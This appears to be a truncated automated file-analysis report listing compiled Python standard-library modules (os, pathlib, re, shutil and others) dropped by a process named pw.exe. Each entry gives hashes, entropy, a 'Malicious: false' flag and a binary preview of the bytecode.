SSDEEP:	48:c5kKoXsYZMmrK2E0p8ItqhhhUIuoLpP0I2GIikGmObMn:chov2ZOqhDaodpkwbMn
MD5:	43F4CBEB3E6265AABB35190A1FF3A1D9
SHA1:	E34815EDFD55C282BC82A65F2820248EC337340A
SHA-256:	3BCD4629AF5C735E3D00B59C38069B1AE9B01BB1694C741E003A4F34D74C3E3A
SHA-512:	1FBD0242A401890D348947973270978446DA358C8DB4D52FCDD174E0F63F75CF406EF3B01BC0BC13E018326568A447B0BE9C113E894AB310493D35C4A0BF2C60
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d...Z.d.d...Z.d.S.).z.Convert a NT pathname to a file URL and vice versa...This module only exists to provide OS-specific code.for urllib.requests, thus do not use directly..c....................C...s....d.d.l.}.d.d.l.}.\|...d.d...}.d.\|.v.r.\|.d.d.....d.k.r \|.d.d.....}.\|...d...}.\|.j...d...\|.....S.\|...d...}.t.\|...d.k.sB\|.d...d...\|.j.v.rJd.\|...}.t.\|.....\|.d...d.......}.\|.d.....d...}.\|.d...}.\|.D.].}.\|.rm\|.d...\|.j...\|.....}.q_\|...d...r\|\|...d...r\|\|.d.7.}.\|.S.).z{OS-specific conversion from a relative URL of the 'file' scheme. to a file system path; not recommended for general use......N..:..\|.....z.////......./..\.....z.Bad URL: .....)...string..urllib.parse..replace..split..parse..unquote..join..len..ascii_letters..OSError..upper..endswith)...urlr......urllib..components..comp..error..drive..path..r......C:\recover\pw\lib\nturl2path.py..url2pathname....s*.............................................r....c....................C...s0...d.d.

C:\recover\pw\lib\pycache\opcode.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5445
Entropy (8bit):	5.640418895865469
Encrypted:	false
SSDEEP:	96:csgyb2Y4AiIw0UEDJdWzlNA/DFi1foNC3SdGCDO1WnOhf:kySYRRDXlk1fb3H3WnOhf
MD5:	3DB03EBBFD96F51CE341BC5A18DDAAC6
SHA1:	70573AE38C2537DEA15B5115CA9B075DCA99065C
SHA-256:	381746B880A39DE760617996C29600AFB6A0CE88C3A44E04F67A42F053907CEE
SHA-512:	A561B36B68CCC8AC4604DA9951CF7959CC9F25DDD497A16DDE65480C21426CB38126E59B4BAB41DEFA83359CD8C874B1D9F4DBD519B8F9B69A969B92E9AECCED
Malicious:	false
Preview:	o.........Sg.........................@...s"...d.Z.g.d...Z.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.g.Z.i.Z.d.d...e.d...D...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d ....e.d!d"....e.d#d$....e.d%d&....e.d'd(....e.d)d*....e.d+d,....e.d-d.....e.d/d0....e.d1d2....e.d3d4....e.d5d6....e.d7d8....e.d9d:....e.d;d<....e.d=d>....e.d?d@....e.dAdB....e.dCdD....e.dEdF....e.dGdH....e.dIdJ....e.dKdL....e.dMdN....e.dOdP....e.dQdR....e.dSdT....e.dUdV....e.dWdX....e.dYdZ....e.d[d\....e.d]d^....e.d_d`....e.dadb....e.dcdd....e.dedf....e.dgdh....e.didj....e.dkdl....e.dmdn....e.dodp....e.dqdr....e.dsdt....e.dudv....e.dwdx....e.dydz....e.d{d\|....e.d}d~....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....d.Z.e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e...d.....e.d.d.....e.d.d.....e.d.d.....e.d.d.....e.

C:\recover\pw\lib\pycache\operator.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13506
Entropy (8bit):	4.840938422475194
Encrypted:	false
SSDEEP:	192:m25I4L+HMe0C1/u2/DqnsvQgZ2CsiIKoVkDq01iYL5ADAzi8Lq4UZfm:15reTs2rwejZ2CoKo4iY9cA+8LAfm
MD5:	49EBFAEAD4242F36574E202FC178B466
SHA1:	030A972A107D1B99B2AA8EEE57D11EB2E67C7BA7
SHA-256:	12B98EE04A3B5E2DD6E1A6B671DD5390FEA6AB314DB896C366229A482CE6540A
SHA-512:	29B5D1578BB1EE14820D8410C6BF4153ED00CDA0EC7AB2D2A00C9A855022989EDD4E089BD5E3626D919DF070A0B7FA3B3B738B30D5DDA9F1A214B12287E7ACF0
Malicious:	false
Preview:	o.........Sg.+.......................@...s....d.Z.g.d...Z.d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.e.Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z.d4d5..Z.d6d7..Z.d8d9..Z.d:d;..Z d<d=..Z!d>d?..Z"d@dA..Z#dBdC..Z$dDdE..Z%dFdG..Z&dHdI..Z'dqdJdK..Z(G.dLdM..dM..Z)G.dNdO..dO..ZG.dPdQ..dQ..Z+dRdS..Z,dTdU..Z-dVdW..Z.dXdY..Z/dZd[..Z0d\d]..Z1d^d_..Z2d`da..Z3dbdc..Z4ddde..Z5dfdg..Z6dhdi..Z7djdk..Z8dldm..Z9z.d.dnl:T.W.n...e;y.......Y.n.w.d.dol:m.Z...e.Z<e.Z=e.Z>e.Z?e.Z@e.ZAe.ZBe.ZCe.ZDe.ZEe.ZFe.ZGe.ZHe.ZIe.ZJe.ZKe.ZLe.ZMe.ZNe.ZOe.ZPe.ZQe.ZRe.ZSe.ZTe ZUe!ZVe"ZWe$ZXe%ZYe'ZZe,Z[e-Z\e.Z]e/Z^e0Z_e1Z`e2Zae3Zbe4Zce5Zde6Zee7Zfe8Zge9ZhdpS.)ras....Operator Interface..This module exports a set of functions corresponding to the intrinsic.operators of Python. For example, operator.add(x, y) is equivalent.to the expression x+y. The function names are those used for special.methods; variants

C:\recover\pw\lib\pycache\os.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	31597
Entropy (8bit):	5.450501084537042
Encrypted:	false
SSDEEP:	768:+Zz481oaK+W0l85fOHqjQmZxhVQIuA5+LBL3L8LOULOLwvLdLtg4aE2aYiZ9:QbK+WHaKQmZBw2LN2Y
MD5:	9D22EBEAC5E1FAE71C9CCABA6A7EDCDE
SHA1:	9F04DA3AA5AFD80E6C4D7B7047F6607679F80B6A
SHA-256:	0ECF25943498F073C05EB2C85E220476DA1F4EDB7E37E10DD3883CB5D3D2ADAB
SHA-512:	E72ADE2B9B50145C29AC976A89A74B314ED2EDC2E9C1FC294B2A2492501C6B280F2CA6E85B561DB55BB544187F24B368F7BEEFB293B2E85E23B56A82D819CBEF
Malicious:	false
Preview:	o.........Sg........................@...sh...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...e.e.e.....Z.e.j.Z.g.d...Z.d.d...Z.d.d...Z.d.e.v.rod.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.yK......Y.n.w.d.d.l.Z.z.d.d.l.m.Z...W.n...e.ya......Y.n.w.d.d.l.Z.e...e.e.......[.nId.e.v.r.d.Z.d.Z.d.d.l.T.z.d.d.l.m.Z...e...d.....W.n...e.y.......Y.n.w.d.d.l.Z.d.d.l.Z.e...e.e.......[.z.d.d.l.m.Z...W.n...e.y.......Y.n.w.e.d.....e.e.j.d.<.d.d.l.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%..[.e.d.....r.e&..Z'd.d...Z(e)..Ze(d.d.....e(d.d.....e(d.d.....e(d.d.....e(d.d ....e(d!d"....e(d#d$....e(d%d&....e(d'd(....e(d)d....e(d+d,....e(d-d.....e(d/d0....e(d1d2....e(d1d3....e(d4d ....eZ+e)..Ze(d.d.....eZ,e)..Ze(d5d6....e(d7d.....e(d8d.....e(d9d:....e(d9d;....e(d<d=....e.-e.....e(d>d?....e(d@d ....e(dAd ....e(dBdC....e.dD....r.e.dE....r.e(dFdD....eZ.e)..Ze(d.d.....e(d.d.....e(d.d.....e(dGdH....e(dId.....e.dJ....r.e(dKd.....e(d!d"....e(dLd ....e(dMd.....e(d.d.....e(d4d ....e(dNd.....eZ/[*[.['[(d.Z0dOZ1dPZ2d.dSdT..Z3

C:\recover\pw\lib\pycache\pathlib.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	42050
Entropy (8bit):	5.237364133251991
Encrypted:	false
SSDEEP:	768:maHqwOW28a8BgsMwiT3iWOhVECkoB3RDwgU46Jr8Dybx4eCIUmbPHbI2f6V0LWpn:3KwOW2QLMweUhVECkoB3REz4uPx8IUCQ
MD5:	12A19BAAAEBBD94D3DDEA4975ECD4F90
SHA1:	FE79CBB9EC2672A463BF193782FC0AF51CA3F1E7
SHA-256:	9D089C1CB08E169069351F441953D9C927FF46BE9F2DD251534D6FBA8F66D0FC
SHA-512:	981FF7A54D591CCFA829D41273E701597DE2E7244EB70F6073DCF6EA1DC5A24CF9EDA266B16265FAFC8FAFA7E15C6EFEAD288D6FDF74611912D423D4B6986F5E
Malicious:	false
Preview:	o.........Sg\........................@...s4...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.d.Z d.Z!e.e.e.e.f.Z"e.e e!f.Z#d.d...Z$d.d...Z%G.d.d...d.e&..Z'G.d.d...d.e'..Z(G.d.d...d.e'..Z)e(..Ze)..Z+G.d.d...d...Z,G.d.d...d.e,..Z-e-..Z.d.d...Z/e0e.d...r.e..1..e/..Z/G.d.d...d...Z2G.d.d...d...Z3G.d d!..d!e2..Z4G.d"d#..d#e2..Z5G.d$d%..d%e2..Z6G.d&d'..d'e...Z7G.d(d)..d)e&..Z8e.j9.:e8....G.dd+..d+e8..Z;G.d,d-..d-e8..Z<G.d.d/..d/e8..Z=G.d0d1..d1e=e;..Z>G.d2d3..d3e=e<..Z?d.S.)4.....N)...Sequence)...EINVAL..ENOENT..ENOTDIR..EBADF..ELOOP)...attrgetter)...S_ISDIR..S_ISLNK..S_ISREG..S_ISSOCK..S_ISBLK..S_ISCHR..S_ISFIFO)...quote_from_bytes)...PurePath..PurePosixPath..PureWindowsPath..Path..PosixPath..WindowsPath......{...i....c....................C...s ...t.\|.d.d...t.v.p.t.\|.d.d...t.v.S.).N..errno..winerror)...getattr.._IGNORED_ERROS.._IGNORED_WINERRORS)...except

C:\recover\pw\lib\pycache\platform.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	27427
Entropy (8bit):	5.588906302998172
Encrypted:	false
SSDEEP:	768:XBqj93Ho+Dvz6WYt08jHUgRyRj4/ISTvI9nI6xk4laOXN4Ww:XB093oEbq089oRjnuunI6xs64F
MD5:	68282BDDB4D50B9BEDB53143D650B8BB
SHA1:	E8F42F3E77E954C2F98562A7D9AACF2EB640FF04
SHA-256:	1C05A3F2F0BFE9A351B100B0409D5E8F6EFBE262CE1A440AD7A69F058D27B33C
SHA-512:	AB19C94E65565406EA516AF21732764F0C07CFC5DE9FD8B382AE5985007A0F7A42BE758F83F3A0BDD331A1DCCFE55FF5431D1F63715286F450FED93BE9C29EEB
Malicious:	false
Preview:	o.........SgH........................@...s....d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.d.d.d.d.d.d.d.d.d...Z.e...d...Z.d.d...Z.e...d.e.j...Z.d.d.d...Z.d.d.d...Z.e...d...Z.....d.d.d...Z.d.d.d.d.d.d.d d!d"d#d$d%..Z.d.d&d'd(d)dd+..Z.d,d-..Z.d.d/..Z.d.d0d1..Z.d2d3..Z.d.d5d6..Z.d7d8..Z.d.d9d:..Z.d;d<..Z.d=d>..Z.d.d?d@..Z.dAdB..Z d.dCdD..Z!dEdFdGd...Z"e.j#d.d.f.dHdI..Z$dJdK..Z%G.dLdM..dM..Z&dNdO..Z'G.dPdQ..dQe..(dRdS....Z)d.adTdU..Z+dVdW..Z,dXdY..Z-dZd[..Z.d\d]..Z/d^d_..Z0d`da..Z1e...dbe.j...Z2e...dce.j...Z3e...dd..Z4e...de..Z5i.Z6d.dfdg..Z7dhdi..Z8djdk..Z9dldm..Z:dndo..Z;dpdq..Z<drds..Z=dtdu..Z>i.Z?d.dvdw..Z@e...dx..ZAe...dy..ZBdzZCd.aDd{d\|..ZEd}d~..ZFeGd.k...rjd.e.jHv...pPd.e.jHv.ZId.e.jHv...o[d.e.jHv.ZJeKe@eJeI......e..Ld.....d.S.d.S.).a8... This module tries to retrieve as much platform-identifying data as. possible. It makes this information available via function APIs... If called from the command line, it prints the platform. information conca

C:\recover\pw\lib\pycache\posixpath.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10528
Entropy (8bit):	5.326633088725011
Encrypted:	false
SSDEEP:	192:zhb0oiSyslc6Yc5JJ0kMz8g1T37oRLtr12mm1un0TMatlAnEZC:zhGSLlTYc5JJ5RLtrsdy0oazKEZC
MD5:	3569C62E8E7CA2BDA7F51E5660B9C7B2
SHA1:	2864E863F4851E38BFEFE1F43704905482544242
SHA-256:	1060AB427956613982BEA89DF9F6FDA16AE26BC1FC25803AEF7DC473F466EFC5
SHA-512:	2E8213FE2862CE74D96DE10733B20D66FBBC9F40E250F1E5B1F123B163FF4B08C7D0FC9F903BA1B03752F2907A7B97A0E050471A962C5394EE9B3E82C6629297
Malicious:	false
Preview:	o.........Sg.A.......................@...s....d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.j.j.e._.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d#d$..Z.d.a.d.a.d%d&..Z.d'd(..Z.d)d..Z d+d,..d-d...Z!d/d0..Z"e.j#d1k.Z$d6d2d3..Z%d4d5..Z&d.S.)7a....Common operations on Posix pathnames...Instead of importing this module directly, import os and refer to.this module as os.path. The "os.path" name is an alias for this.module on Posix systems; on other systems (e.g. Windows),.os.path provides the same operations in a manner specific to that.platform, and is an alias to another module (e.g. ntpath)...Some of this can actually be useful on non-Posix systems too, e.g..for manipulation of the pathname component of URLs.........../..:z./bin:/usr/binNz./dev/null.....)...)&..normcase..isabs..join..splitdrive..split..splitext..basename..dirname..commonprefix..getsize..getmtime..getatime..getctime..islink..exis

C:\recover\pw\lib\pycache\queue.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10790
Entropy (8bit):	5.074544806912584
Encrypted:	false
SSDEEP:	192:Tu+pM4UfRWdufeC/PBbEy6LWf1eR/i9Z6/cWyfmrAX/I8:q+pM/Qdufd/PBbEy6LWdeo9s/PyfmrCP
MD5:	AF3A0DB06FAFC3B810A70437220FCE23
SHA1:	723A92C61C84D57F9DD85A8F961E09BA4B964A07
SHA-256:	23B64798AB0B2109BFEE2BC9318ED83C8E2851701BC6160C2AC7EA5BDDFA3BB8
SHA-512:	424DF2688169F6EB2F2EC5E73AD4C04B08A43352D5F2B272742306BCD4E8938D0BFC591F5593C342E5C903C34A7790E4F2C32F15D4861C53213A63F02AE0F140
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y1......d.Z.Y.n.w.g.d...Z.z.d.d.l.m.Z...W.n...e.yO......G.d.d...d.e...Z.Y.n.w.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.e.d.u.r~e.Z.d.S.d.S.).z'A multi-producer, multi-consumer queue......N)...deque)...heappush..heappop)...monotonic)...SimpleQueue)...Empty..Full..Queue..PriorityQueue..LifoQueuer....).r....c....................@........e.Z.d.Z.d.Z.d.S.).r....z4Exception raised by Queue.get(block=0)/get_nowait().N....__name__..__module__..__qualname__..__doc__..r....r......C:\recover\pw\lib\queue.pyr...................r....c....................@...r....).r....z4Exception raised by Queue.put(block=0)/put_nowait().Nr....r....r....r....r....r........r....r....c....................@...s....e.Z.d.Z.d.Z.d!d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d"d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.e.e.j...Z.d.S.)

C:\recover\pw\lib\pycache\quopri.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5792
Entropy (8bit):	5.444912241059813
Encrypted:	false
SSDEEP:	96:MPp0xXxswv10E62XWFP0nf5nizGJFNYTBTO7u10IbJJs5WkbtL4FRJpGyd/8tzOR:gqrswv2UGmxMGb+rIWkOFldkS
MD5:	D305A7AC93468AA8F9A5761330697BBF
SHA1:	A04680E9B0B5B3130D04EBC592F4BC89649F3E1B
SHA-256:	3EF32085674B3F166290CE7C08915333693516482100A004BE762ECE83CEC0DB
SHA-512:	29C5EC2CC7F4B385A0C3FE6852952D86902580F41F3EF2D909937F472BA19A50A22F7D5C14C12283168B09743D46410CEE06CA5F5F634450CC592F76617D02E0
Malicious:	false
Preview:	o.........SgV........................@...s....d.Z.g.d...Z.d.Z.d.Z.d.Z.d.Z.z.d.d.l.m.Z.m.Z...W.n...e.y%......d.Z.d.Z.Y.n.w.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.k.rWe.....d.S.d.S.).zHConversions to/from quoted-printable transport encoding as per RFC 1521.)...encode..decode..encodestring..decodestring.....=.L...s....0123456789ABCDEF..........)...a2b_qp..b2a_qpNc....................C...sH...t.\|.t...s.J...\|.d.v.r.\|.S.\|.d.k.r.\|.S.\|.t.k.p#d.\|.....k.o d.k.n.......S.).z.Decide whether a particular byte ordinal needs to be quoted... The 'quotetabs' flag indicates whether embedded tabs and spaces should be. quoted. Note that line-ending tabs and spaces are always encoded, as per. RFC 1521.. ..... ......_..... .....~)...isinstance..bytes..ESCAPE)...c..quotetabs..header..r......C:\recover\pw\lib\quopri.py..needsquoting....s..............".r....c....................C...sB...t.\|.t...r.t.\|...d.k.s.J...t.\|...}.t.t.t.\|.d.....t.\|.d.....f.....S.)

C:\recover\pw\lib\pycache\random.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	22746
Entropy (8bit):	5.435147635889515
Encrypted:	false
SSDEEP:	384:4151Eqqa10rwieniMSkFVjhfFKoTWGtCX2v1b2+/ngCbWQhkcqHVG:4zJyKniKTZCX25/1bWbcaVG
MD5:	F905F8921BB787568FD24B8803AFD988
SHA1:	987B8BEFF26AF34A5627BCECE543A0DE9F5A2838
SHA-256:	489BDDCABE810B5B4AC86BE3DE5FFE80AE222F41D40B17E55DA8D0D2E859379A
SHA-512:	0C126BCA211052CD95D9069E58701758F4874746EB415C1CD8B2D807899A8F5E19FD4EAC8FAEF6294BB0087CB2DA6589C4CDC2781A1BAB93B778E18C7082CB9B
Malicious:	false
Preview:	o.........Sgg........................@...s....d.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l m!Z"m#Z$..d.d.l%m&Z'..d.d.l(m)Z*m+Z,..d.d.l-m-Z...d.d.l.Z/d.d.l0Z0z.d.d.l1m2Z1..W.n...e3ym......d.d.l4m2Z1..Y.n.w.g.d...Z5d.e.d.....e.d.....Z6e.d...Z7d.e.d.....Z8d.Z9d.e9....Z:d.Z;G.d.d...d.e0j<..Z<G.d.d...d.e<..Z=e<..Z>e>j?Z?e>j@Z@e>jAZAe>jBZBe>jCZCe>jDZDe>jEZEe>jFZFe>jGZGe>jHZHe>jIZIe>jJZJe>jKZKe>jLZLe>jMZMe>jNZNe>jOZOe>jPZPe>jQZQe>jRZRe>jSZSe>jTZTe>jUZUd.d...ZVd#d.d...ZWeXe/d ..r.e/jYe>j?d!....eZd"k...r.eW....d.S.d.S.)$a....Random variable generators... bytes. -----. uniform bytes (values between 0 and 255).. integers. --------. uniform within range.. sequences. ---------. pick random element. pick random sample. pick weighted random sample. generate random permutation.. distributions on the real line:. ------------------------------. unifor

C:\recover\pw\lib\pycache\re.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	14225
Entropy (8bit):	5.209265598997223
Encrypted:	false
SSDEEP:	384:cuPJsiNrHyo6R2OkRFvMKUryx95qoxSEMbZ:cCJssrSoPfRAry/5qoUEMbZ
MD5:	956563113AF46E2093B27CF94B2727B5
SHA1:	28C3EF71C167CB854D8B6B0E6278AF30570B487C
SHA-256:	E54BE449487203FCDF92A195DF144967EAC18F7E0FBBCED4DDB54E7125F6AC25
SHA-512:	B85C96CAD68C4724399DB19CB5DCB0A5C65767152602F84C0B5B35E48960922C447990B887182AE19F09AF987FB7EFE179486CFD3F9806530858EBB815E3732A
Malicious:	false
Preview:	o.........Sgs?.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.W.n...e.y#......d.Z.Y.n.w.g.d...Z.d.Z.G.d.d...d.e.j...Z.e.....e.j.....e.j.Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d1d.d...Z.d1d.d...Z.d1d.d...Z.d0d.d...Z.d0d.d...Z.d0d.d...Z.d.d...Z.d0d.d...Z.d.d...d.D...Z.d d!..Z.e.e...d"d.....Z.e.e...d"d.....d"....Z.i.Z.d#Z d$d%..Z!e.."e ..d&d'....Z#d(d)..Z$d*d+..Z%d.d.l&Z&d,d-..Z'e&.(e.e'e!....G.d.d/..d/..Z)d.S.)2a....Support for regular expressions (RE)...This module provides regular expression matching operations similar to.those found in Perl. It supports both 8-bit and Unicode strings; both.the pattern and the strings being processed can contain null bytes and.characters outside the US ASCII range...Regular expressions can contain both special and ordinary characters..Most ordinary characters, like "A", "a", or "0", are the simplest.regular expressions; they simply match themselves. You can.concatenate ordinary characters, so last matches the string 'last'...Th

C:\recover\pw\lib\pycache\reprlib.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5248
Entropy (8bit):	5.023217573527402
Encrypted:	false
SSDEEP:	96:jdnTWdWRlUgN2VsfA2IywpvIyRbepiRtHv+gm0AUY:1fDk52elRKMjmZB
MD5:	57D28D8C9238C62361903BA2EF52A39C
SHA1:	2E2270BFD2F687B7D0377E15D7ED102B6EB5C276
SHA-256:	C2C1A91B76DA7742383C2A0DB841D42943A7B2E67BF829ABD4D6EE26BD94D9F7
SHA-512:	ED6A08606E801C24CA8447CDB317DEDD2BAB4839BF1F84668D12A52B14F45725187C542156AC721F59768DE330E3B11F6538FB986F2D7813B5B4471B3A7C8476
Malicious:	false
Preview:	o.........Sg4........................@...s\...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.d...Z.G.d.d...d...Z.d.d...Z.e...Z.e.j.Z.d.S.).zGRedo the builtin repr() (representation) but with limits on most sizes.)...Repr..repr..recursive_repr.....N)...islice)...get_ident.....c........................s......f.d.d...}.\|.S.).zGDecorator to make a repr function return fillvalue for a recursive callc........................sX...t...........f.d.d...}.t...d...\|._.t...d...\|._.t...d...\|._.t...d...\|._.t...d.i...\|._.\|.S.).Nc........................sJ...t.\|...t...f.}.\|...v.r...S.....\|.....z...\|...}.W.....\|.....\|.S.....\|.....w...N)...idr......add..discard)...self..key..result)...fillvalue..repr_running..user_function....C:\recover\pw\lib\reprlib.py..wrapper....s......................z<recursive_repr.<locals>.decorating_function.<locals>.wrapper..__module__..__doc__..__name__..__qualname__..__annotations__)...set..getattrr....r....r....r....r....).r....r......r....).r....r....r......decorating_func

C:\recover\pw\lib\pycache\selectors.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17103
Entropy (8bit):	5.1777130400467675
Encrypted:	false
SSDEEP:	384:ijD7Dm/9rSzUEok/L1xzQ8DdIE6F+QSUyGJl97uhuieU:ijD7Dm/9rSzzBdInF+QS+l97uhuieU
MD5:	D316A7484271C96B0770C6EAC5683933
SHA1:	769593BDCC7BDAAF2025699C4519DAF5708E52B8
SHA-256:	7A7F96D551144165DCA3A7B945FFD2F56DD2EB96E6AA7E53B7AFEC861E2AED0B
SHA-512:	657E04D21711083165B8F6EC85E041A8FE8D20A145E3063DA3A7D6FC681AB5E77CCDA508D03DF59F3FD5ABE024B897CB47D1A99F4C5F43935553DA9BDF4190F8
Malicious:	false
Preview:	o.........Sg.N.......................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.d...Z.e.d.g.d.....Z.d.e._.e.j.d.k.rId.e.j._.d.e.j._.d.e.j._.d.e.j._.G.d.d...d.e...Z.G.d.d...d.e.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...r.G.d.d...d.e...Z.e.e.d ..r.G.d!d"..d"e...Z.e.e.d#..r.G.d$d%..d%e...Z.e.e.d&..r.G.d'd(..d(e...Z.d)d*..Z.e.d&..r.e.Z.d.S.e.d ..r.e.Z.d.S.e.d#..r.e.Z.d.S.e.d...r.e.Z.d.S.e.Z.d.S.)+z\|Selectors module...This module allows high-level and efficient I/O multiplexing, built upon the.`select` module primitives.......)...ABCMeta..abstractmethod)...namedtuple)...MappingN..........c....................C...s`...t.\|.t...r.\|.}.n.z.t.\|.......}.W.n...t.t.t.f.y"......t.d...\|.....d...w.\|.d.k.r.t.d...\|.......\|.S.).z.Return a file descriptor from a file object... Parameters:. fileobj -- file object or file descriptor.. Returns:. corresponding file descriptor.. Raises:. ValueError if the object is invalid. z.I

C:\recover\pw\lib\pycache\shutil.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	38359
Entropy (8bit):	5.5303804737366455
Encrypted:	false
SSDEEP:	768:K6QQE5jxIaF1k77LzVwh0OFhTogcyB4EHcCfhNNHlfmQk5:K6QQEbIeLSOrTogcyB4EHcCfhNbfJk5
MD5:	E71A700D303B3AC766214CA31D36C1A4
SHA1:	E4FA3C75A23E7ED04DE0472CF0BEAEFEDE9AE0D7
SHA-256:	7B5D1E812C4278D7284B3EFDEDB6CA7BA5268D5CFD399EB235EFB449DFEB3B99
SHA-512:	C37F6DAE13ACECC1DDE3F41BBA9113499E1BFA8C8013AC47072AF5A6A9CD201063422296EDB79794FBBEAADEE0C6592CE6569EB3FEF1AFFF1D22578311B4867F
Malicious:	false
Preview:	o.........Sg.........................@...s"...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.Z.[.d.Z.W.n...e.y.......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yC......d.Z.Y.n.w.z.d.d.l.Z.[.d.Z.W.n...e.yX......d.Z.Y.n.w.e.j.d.k.Z.d...Z.Z.e.j.d.k.rld.d.l.Z.n.e.rrd.d.l.Z.e.rvd.n.d.Z.e.e.d...o.e.j...d...a.e.o.e.e.d...Z.d.Z.g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"d.d...Z#d.d...Z$e.f.d d!..Z%d.d"d#..Z&d$d%..Z'd&d'..Z(d(d)..Z)d.d..d+d,..Zd.d..d-d...Z+e.e.d/....r.d.d..d0d1..Z,n.d2d1..Z,d.d..d3d4..Z-d.d..d5d6..Z.d.d*..d7d8..Z/d9d:..Z0..d.d;d<..Z1d.d.e/d.d.f.d=d>..Z2e.e.j3d?....r@d@dA..Z4dBdC..Z5n.dDdA..Z4dEdC..Z5dFdG..Z6dHdI..Z7e.j8e.j.e.j9e.j:h.e.j;k...oje.j<e.j=v...oje.j.e.j>v.Z?d.dJdK..Z@e?e@_AdLdM..ZBe/f.dNdO..ZCdPdQ..ZDdRdS..ZEdTdU..ZFdVdW..ZG....d.dYdZ..ZH....d.d[d\..ZId]eHd^g.d_d.f.i.ZJe...r.eHd`g.dad.f.eJdb<.eIg.dcd.f.eJdd<.e...r.eHdeg.dfd.f.eJdg<.e...r.eHdhg.did.f.eJdj<.dkdl..ZKd.dndo..ZLdpdq..ZM

C:\recover\pw\lib\pycache\signal.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
